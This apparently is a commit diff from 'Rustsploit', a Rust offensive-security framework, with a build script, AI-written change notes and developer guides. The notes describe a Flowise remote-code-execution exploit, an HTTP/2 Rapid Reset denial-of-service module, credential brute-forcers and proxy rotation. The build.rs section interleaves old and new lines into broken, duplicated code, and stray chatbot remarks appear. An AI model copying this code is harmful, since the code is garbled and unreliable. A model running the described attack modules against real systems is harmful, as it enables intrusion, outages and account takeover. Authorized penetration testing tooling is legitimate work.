)?;
}
}
writeln!(
file,
r#" _ => anyhow::bail!("Module '{{}}' not found.", module_name),"#
).unwrap();
r#" _ => anyhow::bail!("{} module '{{}}' not found.", module_name),"#,
category_name
)?;
writeln!(file, " }}\n Ok(())\n}}").unwrap();
writeln!(file, " }}\n Ok(())\n}}")?;
println!("✅ Generated {} with {} modules", out_file, sorted_mappings.len());
Ok(())
}
fn visit_dirs(dir: &Path, prefix: String, mappings: &mut Vec<(String, String)>) -> std::io::Result<()> {
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[_a-zA-Z]+\s*:\s*&str\s*\)").unwrap();
/// Recursively visits directories to find all module files.
///
/// # Arguments
/// * `dir` - Directory to scan
/// * `prefix` - Current path prefix (e.g., "generic" or "camera/acti")
/// * `mappings` - Set to store (full_path, module_path) tuples
fn visit_dirs(
dir: &Path,
prefix: String,
mappings: &mut HashSet<(String, String)>,
) -> Result<(), Box<dyn std::error::Error>> {
// Compile regex once for better performance
// Matches: pub async fn run(target: &str) or pub async fn run(_target: &str)
let sig_re = Regex::new(r"pub\s+async\s+fn\s+run\s*\(\s*[^)]*:\s*&str\s*\)")
.map_err(|e| format!("Failed to compile regex: {}", e))?;
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
if !dir.is_dir() {
return Ok(());
}
if path.is_dir() {
let sub_prefix = format!("{}/{}", prefix, entry.file_name().to_string_lossy());
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
let file_name = path.file_stem().unwrap().to_string_lossy().to_string();
if file_name == "mod" {
continue;
}
let mut entries: Vec<_> = fs::read_dir(dir)?
.collect::<Result<Vec<_>, _>>()?;
// Sort entries for deterministic processing
entries.sort_by_key(|e| e.file_name());
let mod_path = format!("{}/{}", prefix, file_name)
.trim_start_matches('/')
.to_string();
let key = mod_path.clone();
for entry in entries {
let path = entry.path();
let file_name = entry.file_name();
let mut source = String::new();
fs::File::open(&path)?.read_to_string(&mut source)?;
if path.is_dir() {
// Recursively visit subdirectories
let sub_prefix = if prefix.is_empty() {
file_name.to_string_lossy().to_string()
} else {
format!("{}/{}", prefix, file_name.to_string_lossy())
};
visit_dirs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
// Process Rust files
let file_stem = path.file_stem()
.and_then(|s| s.to_str())
.ok_or_else(|| format!("Invalid file name: {}", path.display()))?;
if sig_re.is_match(&source) {
mappings.push((key.clone(), mod_path));
println!("✅ Registered module: {}/{}", prefix, file_name);
// Skip mod.rs files
if file_stem == "mod" {
continue;
}
// Build module path
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Full key includes the category prefix (will be added in generate_dispatch)
let key = mod_path.clone();
// Read and check for the run function signature
let mut source = String::new();
File::open(&path)?.read_to_string(&mut source)?;
if sig_re.is_match(&source) {
mappings.insert((key.clone(), mod_path.clone()));
let display_path = if prefix.is_empty() {
file_stem.to_string()
} else {
println!("⚠️ Skipping '{}': no matching 'pub async fn run(...)'", path.display());
format!("{}/{}", prefix, file_stem)
};
println!(" ✅ Registered module: {}", display_path);
} else {
// Only warn in verbose mode to reduce noise
if env::var("RUSTSPLOIT_VERBOSE_BUILD").is_ok() {
println!(" ⚠️ Skipping '{}': no matching 'pub async fn run(target: &str)'", path.display());
}
}
}
}
Ok(())
}
+377
View File
@@ -0,0 +1,377 @@
Hardened rtsp_bruteforce_advanced by validating path, username, and password wordlists before spinning up tasks, and by falling back to a safe root path when a path list is empty to avoid runtime panics.
Added identical early-exit checks and trimming for the SSH brute-force runner so it fails fast when wordlists are empty instead of silently doing nothing.
Brought the FTP brute-force helper in line with the others by trimming entries, rejecting empty wordlists, and ensuring helper utilities only return meaningful credentials.
Proxy Improvements
Refined proxy loading to validate schemes/hosts/ports, capture parse errors, and expose optional connectivity testing via utils::load_proxies_from_file and utils::test_proxies, keeping only working entries when requested.
Enhanced shell commands: proxy_load now prompts for a path when omitted, reports skipped entries, offers a recommended “test proxies” prompt, and added a dedicated proxy_test command plus reusable prompt helpers.
Implemented interactive proxy-test workflow that gathers URL/timeouts/concurrency, filters failing proxies, and auto-disables proxy mode when none survive.
Shell UX Refresh
Reworked command parsing to support ergonomic aliases (help/h/?, modules/ls/m, find/f1, proxy_load/pl, etc.) and keep everything case-insensitive and whitespace tolerant.
Added a richer, colorized help palette that lists shortcuts and usage tips so “f1 ssh” style workflows are obvious.
Introduced helpers (split_command, resolve_command) to drive the new UX without changing existing behavior, plus guarded prompt utilities already in place.
README Refresh
Rebuilt the README into a professional GitHub-ready document with a TOC, feature highlights, module catalog summary, quick start commands, shell walkthrough (including the new shortcuts), CLI usage, proxy workflow, module discovery flow, and contributing/credits notes.
README Suite Updated
README.md already reflects the full feature set; no further changes needed.
docs/readme.md rewritten into a comprehensive developer guide covering architecture, module discovery, shell internals, proxy system, authoring practices, and roadmap items.
lists/readme.md expanded to document shipped wordlists, usage guidelines, and contribution notes so operators know how data files tie into modules.
Pingsweep.rs
improved and reworked
Added an API launch mode to RustSploit with the requested features.
Features implemented
API launch mode: --api flag to start the API server
API key authentication: --api-key flag (required when using --api)
Dynamic API key rotation: manual via /api/rotate-key endpoint and automatic when hardening triggers
Hardening mode: --harden flag enables IP-based protection
Auto-rotation: when unique IPs exceed the limit (default: 10), the API key auto-rotates
Notifications: alerts in terminal and log file (rustsploit_api.log in the same directory)
Interface selection: --interface flag (defaults to 0.0.0.0), supports IP/interface or full address with port
API endpoints
GET /health - Health check (no auth required)
GET /api/modules - List all available modules
POST /api/run - Run a module on a target
GET /api/status - Get API server status
POST /api/rotate-key - Manually rotate the API key
Usage examples
# Basic API server on 0.0.0.0:8080./rustsploit --api --api-key my-secret-key# With hardening enabled (auto-rotate on >10 unique IPs)./rustsploit --api --api-key my-secret-key --harden# Custom interface and IP limit./rustsploit --api --api-key my-secret-key --harden --interface 127.0.0.1 --ip-limit 5# Custom port./rustsploit --api --api-key my-secret-key --interface 0.0.0.0:9000
Security features
API key authentication on all protected endpoints
IP tracking and monitoring
Automatic key rotation when suspicious activity is detected
Logging to both terminal and file for audit trails
IP limit enforcement with configurable thresholds
All IpTracker fields are used:
ip: Used in logging, status endpoint, and the new /api/ips endpoint
first_seen: Used in logging to show when IP was first detected, and in both endpoints
last_seen: Used in status and /api/ips endpoints
request_count: Used in logging and both endpoints
New endpoint added: /api/ips - Returns all tracked IP addresses with full details including all fields
Enhanced get_status endpoint: Now includes detailed IP tracking information with all fields from each IpTracker
Enhanced track_ip method: Now logs detailed information using all fields, including duration calculations
Added serde feature to chrono: Enables DateTime<Utc> serialization
All routes properly wired: The new /api/ips endpoint is added to the protected routes
The code should compile without any dead code warnings. All fields are actively used in:
Logging operations
API responses
Status reporting
IP tracking calculations
Added authorization rate limiting with the following features:
Rate limiting logic:
Tracks failed authentication attempts per IP
Blocks IPs for 30 seconds after 3 failed attempts
Automatically resets the counter after the block period expires
Resets the counter on successful authentication
New AuthFailureTracker struct:
ip: IP address being tracked
failed_attempts: Number of failed attempts
first_failure: Timestamp of first failure
blocked_until: Timestamp when block expires (if blocked)
Enhanced auth middleware:
Checks rate limit before processing authentication
Records failures when invalid keys are provided
Resets counter on successful authentication
Returns 429 Too Many Requests when blocked
Logging:
Logs all rate limit events to terminal and log file
Shows remaining block time
Tracks duration since first failure
New API endpoint:
GET /api/auth-failures - Returns all IPs with authentication failures and their status
Enhanced existing endpoints:
/api/ips now includes auth failure information for each IP
Updated Files
1. README.md
Added API Server Mode to the table of contents
Added REST API Server to highlights
Added an API Server Mode section with:
Starting the API server (cargo commands)
API flags table
All endpoints with curl examples
Security features (rate limiting, hardening, logging)
Example workflow
2. docs/readme.md (Developer Guide)
Added API Server Architecture to the table of contents
Updated code layout to include api.rs
Added an API Server Architecture section with:
Architecture overview
State management details
Authentication middleware explanation
Rate limiting and hardening mode details
Key components with code examples
API endpoints list
Logging information
CLI usage examples
Documentation Highlights
The docs now include:
Cargo commands for starting the API server
All available flags (--api, --api-key, --harden, --interface, --ip-limit)
Complete endpoint documentation with curl examples
Security features explanation (rate limiting, hardening, logging)
Architecture details for developers
Example workflows
Improving build.rs with better error handling, short name support, sorting, and other enhancements:
build.rs
Removing the unused import:
build.rs
Improvements
Error handling
Replaced .unwrap() with Result types
Clear error messages with context
Validates directory existence before processing
Short name support
Generates match arms for both short names (e.g., port_scanner) and full paths (e.g., scanners/port_scanner)
Matches the pattern used in the generated dispatcher files
Deterministic output
Sorts mappings and directory entries for consistent builds
Easier to review generated code in version control
Deduplication
Uses HashSet to avoid duplicate module registrations
Documentation
Added doc comments explaining the script's purpose and behavior
Regex
More flexible pattern that handles different parameter names (e.g., target, _target)
Code organization
Uses a vector of tuples to iterate over categories, reducing duplication
More maintainable structure
Verbose mode
Optional verbose warnings via RUSTSPLOIT_VERBOSE_BUILD environment variable
Reduces noise during normal builds
Better path handling
More robust path operations with proper error handling
Handles edge cases better
Output quality
Adds header comments to generated files
Includes documentation in generated code
Better formatted output
The build script is now more robust, maintainable, and feature-complete. It should handle edge cases better and provide clearer feedback during the build process.
ping_sweep.rs improvements
Progress reporting: real-time progress with percentage, hosts up count, and scan rate
Parallel TCP probing: ports are probed in parallel for better performance
Better ICMP detection: detects and uses the correct ping command (ping vs ping6, handles IPv6 with -6 flag)
Error handling: clearer error messages when ping commands are missing
Progress cleanup: clears progress line at completion for cleaner output
ssdp_msearch.rs improvements
Multiple search targets: supports upnp:rootdevice, ssdp:all, and custom ST values
Configurable timeout: user can set timeout (default 3 seconds)
Retry logic: configurable retries (default 1, max 10) with delays between attempts
Verbose mode: optional verbose output showing requests and detailed errors
Enhanced response parsing: extracts additional SSDP headers (ST, NT, Cache-Control, EXT)
Better error handling: proper error context and messages throughout
Larger buffer: increased from 2048 to 4096 bytes for larger SSDP responses
User-Agent header: adds RustSploit user-agent to requests
Better output formatting: improved response display with additional header information
Both modules now have:
Better error handling
More features and configurability
Improved performance
Better user experience with progress indicators and verbose modes
More robust cross-platform support
Created Files:
src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs - Main exploit module
src/modules/exploits/flowise/mod.rs - Module registration file
Updated src/modules/exploits/mod.rs - Added flowise module
Features:
Banner display - ASCII art banner matching the original Python version
Interactive prompts - Prompts for email, password, and command (like other modules)
Authentication - Login functionality with proper headers
RCE execution - Executes commands via the customMCP endpoint vulnerability
Error handling - Proper error handling with colored output
Cookie support - Uses reqwest's cookie store to maintain session
401 retry logic - Automatically retries with internal header if needed
Framework Integration:
The module is automatically detected by the framework's build script (build.rs) because it:
Exports pub async fn run(target: &str) -> Result<()>
Is located in src/modules/exploits/flowise/
Is registered in the mod.rs files
The module will be available as:
flowise/cve_2025_59528_flowise_rce (full path)
cve_2025_59528_flowise_rce (short name)
panos module
Added improvements from the new version:
Better error handling with Context for more informative error messages
Enhanced file reading that filters empty lines and comments (lines starting with #)
Colored output:
Yellow for testing/info messages
Green for vulnerable findings
Red for errors/not vulnerable
Cyan for headers and vulnerable URLs
Better feedback messages showing what's being tested
Summary statistics showing vulnerable count for batch scans
Proper error propagation with ? operator
Flowise RCE Module (CVE-2025-59528)
Location: src/modules/exploits/flowise/cve_2025_59528_flowise_rce.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/flowise/mod.rs
Listed in src/modules/exploits/mod.rs
Features:
Banner display
Interactive prompts (email, password, command)
Login functionality
RCE execution via customMCP endpoint
Error handling with colored output
Cookie-based session management
401 retry logic
Framework Integration:
Auto-discovered by build script
Available as: flowise/cve_2025_59528_flowise_rce or cve_2025_59528_flowise_rce
HTTP/2 Rapid Reset DoS Module (CVE-2023-44487)
Location: src/modules/exploits/http2/cve_2023_44487_http2_rapid_reset.rs
Status: Fully implemented
Has pub async fn run(target: &str) -> Result<()> signature
Registered in src/modules/exploits/http2/mod.rs
Listed in src/modules/exploits/mod.rs
Features:
Banner display with legal disclaimer
Interactive prompts (port, SSL, streams, delay, baseline)
Baseline test functionality
Rapid reset attack implementation
Vulnerability analysis with risk assessment
IPv6 support
SSL/TLS support via tokio-rustls
Error handling with colored output
Framework Integration:
Auto-discovered by build script
Available as: http2/cve_2023_44487_http2_rapid_reset or cve_2023_44487_http2_rapid_reset
Dependencies Added:
h2 = "0.3" - HTTP/2 protocol implementation
tokio-rustls = "0.24" - Async TLS support
http = "1.0" - HTTP types
Implementation status
Module structure:
Exported in src/modules/exploits/http2/mod.rs
Auto-discovered by the build script (registered as http2/cve_2023_44487_http2_rapid_reset)
Core functions:
banner() — displays module banner
normalize_host() — handles IPv6 address formatting
baseline_test() — performs baseline HTTP/2 requests (SSL and non-SSL)
rapid_reset_test() — performs the rapid reset attack test (SSL and non-SSL)
run() — main entry point with interactive prompts
Features:
SSL/TLS support with proper certificate handling
Non-SSL support for plain HTTP/2
Baseline testing before the attack
Rapid stream creation and reset
Vulnerability analysis with risk assessment
Interactive configuration (port, SSL, streams, delay)
Legal disclaimer and permission check
Fixes applied:
Fixed http version conflict (0.2 to match h2)
Added bytes dependency
Fixed type inference for handshake calls
Fixed send_request API usage
Fixed send_reset return type handling
Removed unused mut keywords
Consistent TLS configuration
Code quality:
No linter errors
No warnings
Proper error handling
Clean code structure
The module is ready to use. You can run it via:
Interactive shell: run exploits/http2/cve_2023_44487_http2_rapid_reset <target>
Or the short form: run http2/cve_2023_44487_http2_rapid_reset <target>
Updated packages
All dependencies now use version ranges (e.g., "0.12" instead of "0.12.15"), allowing Cargo to fetch the latest patch versions.
Kept compatible versions for:
h2 = "0.3" (upgrading to 0.4 would require http 1.0+ and code changes)
http = "0.2" (required by h2 0.3)
tokio-rustls = "0.24" (compatible with current setup)
Updated to latest ranges:
reqwest = "0.12" (was 0.12.15)
tokio = "1.44" (was 1.44.2)
clap = "4.5" (was 4.5.35)
rustls = "0.23" (was 0.23.26)
bytes = "1.0" (was 1.0)
And all other packages
Improved http_title_scanner to be more robust and flexible:
Added interactive workflow: collects initial target, optional comma-separated list, and/or file-based target list.
Lets you choose whether to probe HTTP, HTTPS, or both; validates choices and prompts for timeout, verbosity, and optional report saving.
Uses a shared reqwest client with user-agent, redirect limit, and configurable timeout; extracts titles via an improved regex, sanitizes output, and captures status/timing details.
Handles errors gracefully, prints concise or verbose output, and writes an optional timestamped report (http_title_scan_YYYYMMDD_HHMMSS.txt) with per-target results.
Removed dead code and ensured no unwrap panics on network paths.
Added input validation and sanitization to the API:
New validation helpers:
sanitize_for_log: strips CR/LF/tab and truncates long values before logging
validate_api_key_format: length and ASCII checks
validate_module_name: allows only expected forms (exploits|scanners|creds/... with safe chars)
validate_target: basic length, printable ASCII, trimmed, and injection-safe checks
Applied protections:
Middleware now rejects malformed API keys early
run_module validates module and target before dispatch; logs use sanitized values
All log messages are passed through sanitize_for_log to avoid log injection
-341
View File
@@ -1,341 +0,0 @@
# 🛠️ Developer Documentation: RouterSploit-Rust Framework
> This document details the internal architecture, auto-dispatch system, proxy retry logic, and step-by-step guide to writing modules for the Rust rewrite of RouterSploit.
---
## 🧠 Framework Philosophy
RouterSploit-Rust is a modular, async-capable, Rust-based rewrite of RouterSploit. Each module is standalone, invoked via:
- 📟 CLI (`cargo run -- --command ...`)
- 🖥️ Shell (`rsf>` prompt)
Goals:
- 🔒 Safe-by-default
- 📦 Cleanly separated modules
- ⚡ Async concurrency
- 🌐 Proxy-aware execution
---
## 🗂️ Directory Structure
```
routersploit_rust/
├── Cargo.toml
├── build.rs
└── src/
├── main.rs # Entrypoint
├── cli.rs # CLI argument parser
├── shell.rs # Interactive shell logic
├── commands/ # Module dispatch logic
│ ├── mod.rs
│ ├── scanner.rs
│ ├── scanner_gen.rs
│ ├── exploit.rs
│ ├── exploit_gen.rs
│ ├── creds_gen.rs
│ └── creds.rs
├── modules/ # All attack modules
│ ├── mod.rs
│ ├── exploits/
│ ├── scanners/
│ └── creds/
└── utils.rs # Common utilities
```
---
## 🔗 Module System
Each module is a Rust file with a required `run()` entry point:
```rust
pub async fn run(target: &str) -> anyhow::Result<()>
```
### Optional:
```rust
pub async fn run_interactive(target: &str) -> anyhow::Result<()> {
// internal prompts or logic
}
```
### Placement:
- Exploits: `src/modules/exploits/`
- Scanners: `src/modules/scanners/`
- Credentials: `src/modules/creds/`
Subfolders are supported:
- `exploits/routers/tplink.rs``tplink` or `routers/tplink`
- `scanners/http/title.rs``title` or `http/title`
---
## ✅ Adding a New Module
### 1. Create File
```rust
// src/modules/scanners/ftp_weak_login.rs
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
pub async fn run_interactive(target: &str) -> Result<()> {
println!("[*] Checking FTP on {}", target);
Ok(())
}
```
### 2. Register in `mod.rs`
```rust
pub mod ftp_weak_login;
```
---
## 🧠 Auto-Dispatch System
The CLI/shell can call:
```bash
cargo run -- --command scanner --module ftp_weak_login --target 192.168.1.1
```
Or in the shell:
```
rsf> use scanners/ftp_weak_login
rsf> set target 192.168.1.1
rsf> run
```
Behind the scenes:
1. `build.rs` scans `src/modules/` recursively
2. Detects files with `pub async fn run(...)`
3. Generates:
- `exploit_dispatch.rs`
- `scanner_dispatch.rs`
- `creds_dispatch.rs`
4. Registers short + full names (e.g., `ftp_weak_login` + `scanners/ftp_weak_login`)
---
## ❌ What Not To Do
- ❌ No `run()` → wont dispatch
- ❌ Dont name multiple functions `run()` in one file
- ❌ Dont use `mod.rs` as a module — ignored by generator
- ❌ Dont forget to update `mod.rs` when adding modules
---
## ⚙️ CLI Usage
```bash
cargo run -- --command exploit --module my_exploit --target 10.0.0.1
```
### Args:
- `--command`: exploit | scanner | creds
- `--module`: file name of module
- `--target`: IP or host
---
## 🖥️ Shell Usage
```bash
cargo run
```
Then:
```
rsf> help
rsf> modules
rsf> use scanners/port_scanner
rsf> set target 192.168.0.1
rsf> run
```
Maintains internal state:
- `current_module`
- `current_target`
- `proxy_list`
- `proxy_enabled`
---
## 🔁 Proxy Retry Logic (Shell Only)
Proxy logic only applies in shell mode (`rsf>`).
### Flow:
1. User types `run`
2. Shell checks:
- Module is selected?
- Target is set?
- Proxy enabled?
---
### Case 1: Proxy ON, Proxies LOADED
- Create `HashSet<String>``tried_proxies`
- Loop:
- Pick random untried proxy
- Set `ALL_PROXY` using:
```rust
env::set_var("ALL_PROXY", proxy);
```
- Call `commands::run_module(...)`
- On success: stop
- On error: mark proxy as failed, try another
- If all proxies fail:
- Clear proxy env:
```rust
env::remove_var("ALL_PROXY");
```
- Try once directly
---
### Case 2: Proxy ON, No Proxies Loaded
- Show warning
- Clear `ALL_PROXY`
- Run once directly
---
### Case 3: Proxy OFF
- Clear proxy vars
- Run module once
---
### Summary Flow:
```
If proxy_enabled:
while untried proxies:
pick → set env → run → if fail → mark tried
if none work → clear env → try direct
else:
clear env → try direct
```
---
## 🧪 Module Execution Flow
Whether via CLI or shell:
1. `commands::run_module(...)`
2. Determines type: `exploit`, `scanner`, or `cred`
3. Calls correct dispatcher
4. Dispatcher calls `run(target).await`
5. Output shown to user
---
## 🛑 Error Handling
- All modules must return `anyhow::Result<()>`
- Errors are caught and shown cleanly in CLI or shell
---
## ⚡ Async Features
- Entire framework is powered by `tokio`
- All I/O modules are `async`
- Use `tokio::spawn`, `FuturesUnordered`, etc. for concurrency
---
## 📡 Making Requests
Use `reqwest`:
```rust
let resp = reqwest::get(&url).await?.text().await?;
```
Or with client:
```rust
let client = reqwest::Client::new();
let resp = client.post(&url).json(&data).send().await?;
```
✅ All requests respect `ALL_PROXY`
---
## 🧪 Example Use Cases
### CLI
```bash
cargo run -- --command creds --module ftp_weak_login --target 192.168.1.100
```
### Shell
```bash
rsf> use creds/ftp_weak_login
rsf> set target 192.168.1.100
rsf> run
```
---
## 🧼 Shell Reset
No session data persists. When restarted, shell forgets all settings — no saved targets or modules (by design).
---
## 🔐 Adapting CVEs
To build a real-world exploit:
- Convert PoC to async Rust logic
- Validate by checking known response headers/content
- Place it in the right folder and wire `run()`
TCP/UDP logic:
```rust
use tokio::net::{TcpStream, UdpSocket};
```
---
## 💡 Feature Roadmap
add more exploits etc
---
## 👥 Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools.
Would you like this exported as a `DEVELOPER_GUIDE.md` file now? I can generate it for you in exact GitHub-flavored markdown.
+253
View File
@@ -0,0 +1,253 @@
# 🛠️ Rustsploit Developer Guide
> Reference manual for maintainers and contributors. Covers the architecture, build-time module discovery, shell ergonomics, proxy plumbing, and authoring guidelines for exploits, scanners, and credential modules.
---
## Table of Contents
1. [Project Overview](#project-overview)
2. [Code Layout](#code-layout)
3. [Build Pipeline & Module Discovery](#build-pipeline--module-discovery)
4. [Shell Architecture](#shell-architecture)
5. [Proxy Subsystem](#proxy-subsystem)
6. [Command-Line Interface](#command-line-interface)
7. [Authoring Modules](#authoring-modules)
8. [Credential Modules: Best Practices](#credential-modules-best-practices)
9. [Exploit Modules: Best Practices](#exploit-modules-best-practices)
10. [Utilities & Helpers](#utilities--helpers)
11. [Testing & QA](#testing--qa)
12. [Roadmap & Ideas](#roadmap--ideas)
---
## Project Overview
Rustsploit is a Rust-first re-imagining of RouterSploit:
- Async-native (Tokio) for scalable brute forcing and network IO
- Auto-discovered modules categorized as `exploits`, `scanners`, and `creds`
- Interactive shell + CLI runner referencing the same dispatch layer
- Proxy-aware execution with run-time rotation, validation, and fallback logic
- IPv4/IPv6-friendly: target normalization happens uniformly
- Carefully colored, concise output designed for operators on remote consoles
---
## Code Layout
```text
rustsploit/
├── Cargo.toml
├── build.rs # Generates dispatcher code by scanning src/modules
├── src/
│ ├── main.rs # Entry point, selects CLI or shell mode
│ ├── cli.rs # Clap-based CLI parser and dispatcher
│ ├── shell.rs # Interactive shell loop + UX helpers
│ ├── commands/ # Dispatch glue for exploits/scanners/creds
│ │ ├── mod.rs
│ │ ├── exploit.rs
│ │ ├── exploit_gen.rs # build.rs output
│ │ ├── scanner.rs
│ │ ├── scanner_gen.rs # build.rs output
│ │ ├── creds.rs
│ │ └── creds_gen.rs # build.rs output
│ ├── modules/ # Fully auto-discovered attack modules
│ │ ├── exploits/
│ │ ├── scanners/
│ │ └── creds/
│ └── utils.rs # Shared helpers (proxy parsing, module lookup, etc.)
├── docs/
│ └── readme.md # This document
├── lists/
│ ├── readme.md # Wordlist + data file catalogue
│ ├── rtsp-paths.txt
│ └── rtsphead.txt
└── README.md # Product overview
```
Key takeaway: modules are just Rust files under `src/modules/**`. Add `pub mod my_module;` in the local `mod.rs`, and the build script handles the rest.
---
## Build Pipeline & Module Discovery
1. **`build.rs` scan:** Before compilation, build.rs walks `src/modules` (depth-limited) looking for `.rs` files that are not `mod.rs`.
2. **Signature detection:** If a file exposes `pub async fn run(`, it is treated as a callable module.
3. **Name generation:** Both a *short name* (`ssh_bruteforce`) and *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
4. **Dispatcher emission:** Three files (`exploit_gen.rs`, `scanner_gen.rs`, `creds_gen.rs`) are emitted with exhaustive `match` statements that map names → `use crate::modules::...::run`.
5. **Shell + CLI usage:** When users invoke `use exploits/foo` or `--module foo`, the dispatcher resolves the actual function.
Because the dispatcher is generated at build time, there is no manual registry drift as long as modules live in the right folder and export `run`.
---
## Shell Architecture
The shell lives in `src/shell.rs`. Highlights:
- **Context:** `ShellContext` stores `current_module`, `current_target`, the loaded `proxy_list`, and `proxy_enabled` boolean.
- **Prompt helpers:** Inline functions prompt for paths, yes/no decisions, timeouts, etc.
- **Shortcut parsing:** `split_command` + `resolve_command` normalize input (e.g., `f1 ssh`, `pon`, `ptest`) to canonical keys.
- **Command palette:** `render_help()` prints a colorized table for quick reference.
- **Proxy tests:** `proxy_test` command triggers async validation via utils.
- **Run pipeline:** On `run`/`go`, the shell enforces:
- Module selected
- Target set
- Proxy state respected (rotate until success or fallback direct)
- Environment variables (`ALL_PROXY`, `HTTP_PROXY`, `HTTPS_PROXY`) set/cleared per attempt
- **State reset:** On exit, nothing is persisted intentionally for OPSEC.
Extensions (tab completion, history) can be added by wrapping the loop with a line-editor crate, but are omitted today to keep dependencies minimal.
---
## Proxy Subsystem
Implemented in `utils.rs` and surfaced in the shell.
- **Loader:** `load_proxies_from_file` reads lists, normalizes schemes (defaulting to `http://`), validates host/port via `Url`, and tolerates comments or blank lines. Returns both valid entries and a list of parse errors (line number, reason).
- **Supported schemes:** `http`, `https`, `socks4`, `socks4a`, `socks5`, `socks5h`.
- **Tester:** `test_proxies` concurrently (Tokio) checks a user-chosen URL using `reqwest::Proxy::all`. Configurable timeout and max concurrency.
- **Result:** Working proxies are retained; failures are reported with the reason (connection refused, invalid cert, etc.).
- **Integration:** Shell invites the user to validate immediately after loading; `proxy_test` can also be used on demand.
Proxies are set globally via environment variables so both module HTTP requests and low-level sockets (if they honor `ALL_PROXY`) benefit.
---
## Command-Line Interface
`src/cli.rs` uses Clap to expose three commands:
- `--command exploit|scanner|creds`
- `--module <name>` (short or qualified, same mapping as the shell)
- `--target <host|IP>`
Example:
```bash
cargo run -- --command exploit --module heartbleed --target 203.0.113.12
```
If the module needs additional parameters, it can prompt interactively (e.g., brute-force modules ask for wordlists even in CLI mode). For automated pipelines, modules should provide sensible defaults or accept environment variables.
---
## Authoring Modules
Every module must export:
```rust
use anyhow::Result;
pub async fn run(target: &str) -> Result<()> {
// ...
Ok(())
}
```
Guidelines:
1. **Location:** choose one of `src/modules/{exploits,scanners,creds}`. Use subfolders for vendor families (e.g., `exploits/cisco/`).
2. **`mod.rs`:** add `pub mod your_module;` in the sibling `mod.rs`. Without this, the build script ignores the file.
3. **Async I/O:** prefer `reqwest`, `tokio::net`, `tokio::process`, etc. Synchronous blocking code should be wrapped with `tokio::task::spawn_blocking` where possible (see SSH module).
4. **Logging:** leverage `colored` for clarity, but keep messages short and actionable. Use `[+]`, `[-]`, `[!]`, `[*]` prefixes consistently.
5. **Error handling:** bubble up with context (`anyhow::Context`) so the shell/CLI surface meaningful errors.
6. **Wordlists / resources:** store under `lists/` and document them in `lists/readme.md`.
7. **Optional interactive mode:** If the module benefits from multiple code paths, optionally expose `run_interactive` and call it from `run`.
### Example skeleton
```rust
use anyhow::{Context, Result};
pub async fn run(target: &str) -> Result<()> {
println!("[*] Checking {}", target);
let url = format!("http://{}/status", target);
let body = reqwest::get(&url)
.await
.with_context(|| format!("failed to reach {}", url))?
.text()
.await
.context("failed to fetch body")?;
if body.contains("vulnerable") {
println!("[+] {} appears vulnerable", target);
} else {
println!("[-] {} not vulnerable", target);
}
Ok(())
}
```
---
## Credential Modules: Best Practices
Modules like FTP/SSH/Telnet/POP3/SMTP/RTSP/RDP follow shared patterns:
- **Input prompts:** ask for port, username/password wordlists, concurrency limit, stop-on-success toggle, output file, verbose logging.
- **Sanitation:** trim wordlist entries, skip blanks, provide early exits if lists are empty.
- **Concurrency:**
- Use `tokio::Semaphore` for asynchronous modules (FTP, SSH).
- Use `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3, SMTP).
- **Adaptive throttling:** Some modules (FTP) sample CPU/RAM to avoid saturating the host.
- **TLS/STARTTLS:** Accept invalid certs for offensive tooling convenience, but note this clearly.
- **Result persistence:** Offer to write `host -> user:pass` pairs to a local file (in `./` by default).
- **IPv6:** Use helpers like `format_addr` to wrap IPv6 addresses in brackets and support port suffixes.
---
## Exploit Modules: Best Practices
- **CVE referencing:** mention CVE IDs and vendor/product in comments and output.
- **Artifact handling:** If the exploit downloads or writes files (e.g., Heartbleed dump), store them in the current working directory or a named subfolder.
- **Clean-up:** If credentials or accounts are added (Abus camera module), explain the impact and clean-up instructions in output or comments.
- **Safety checks:** Validate responses before declaring success; false positives hurt credibility.
- **Options:** Use `prompt_*` helpers (borrow from existing modules) if end-user input is needed (e.g., RTSP advanced headers, extra path lists).
---
## Utilities & Helpers
`src/utils.rs` provides:
- `normalize_target`: wrap IPv6 addresses in brackets, pass through IPv4/hosts untouched.
- `module_exists` / `list_all_modules` / `find_modules`: used by shell to present module inventory.
- Proxy helpers described earlier (`load_proxies_from_file`, `test_proxies`, etc.).
Feel free to expand this file with reusable pieces (e.g., credential loader, HTTP header templates) to avoid duplication inside modules.
---
## Testing & QA
1. **Static checks:** `cargo fmt` and `cargo clippy` (where available).
2. **Build:** `cargo check` ensures new modules compile.
3. **Runtime smoke tests:**
- Shell: `cargo run``modules` → run a harmless module (e.g., `scanners/sample_scanner`).
- CLI: `cargo run -- --command scanner --module sample_scanner --target 127.0.0.1`.
4. **Proxy validation:** Load a mixed proxy file and confirm `proxy_test` filters entries correctly.
5. **Wordlists:** Validate that required lists exist (e.g., RTSP paths) and are referenced in docstrings.
When adding new modules, include short usage documentation (stdout prints, README notes) so other operators know how to drive them.
---
## Roadmap & Ideas
- Interactive shell improvements (history, tab completion, colored banners)
- Automated module testing harness (mock servers for POP3/SMTP/RTSP)
- Credential module templates (derive-style macros for common prompts)
- Integration with external wordlists (dynamic download or git submodules)
- Session logging (`tee` support) and output JSON export for pipeline ingestion
- Transport abstractions for UDP/DoS modules
Contributions are welcome—open an issue or start a discussion before large refactors.
---
Happy hacking, and remember: **authorized testing only**. Commit messages and module descriptions should always reflect controlled research usage. !*** End Patch
+7 -5
View File
@@ -62,12 +62,14 @@ Here is the original module that needs to be refactored:
Strict Requirements:
The code must be 100% pure Rust, fully compatible with Linux operating systems.
The entire driver must use asynchronous Rust throughout (async/await and appropriate crates), enabling non-blocking, concurrent communication with multiple devices.
Would you like a Dynamic/Auto-Scaler version too? 🚀
(Example: start at 500 concurrency, grow to 5000 if CPU/RAM is good.)
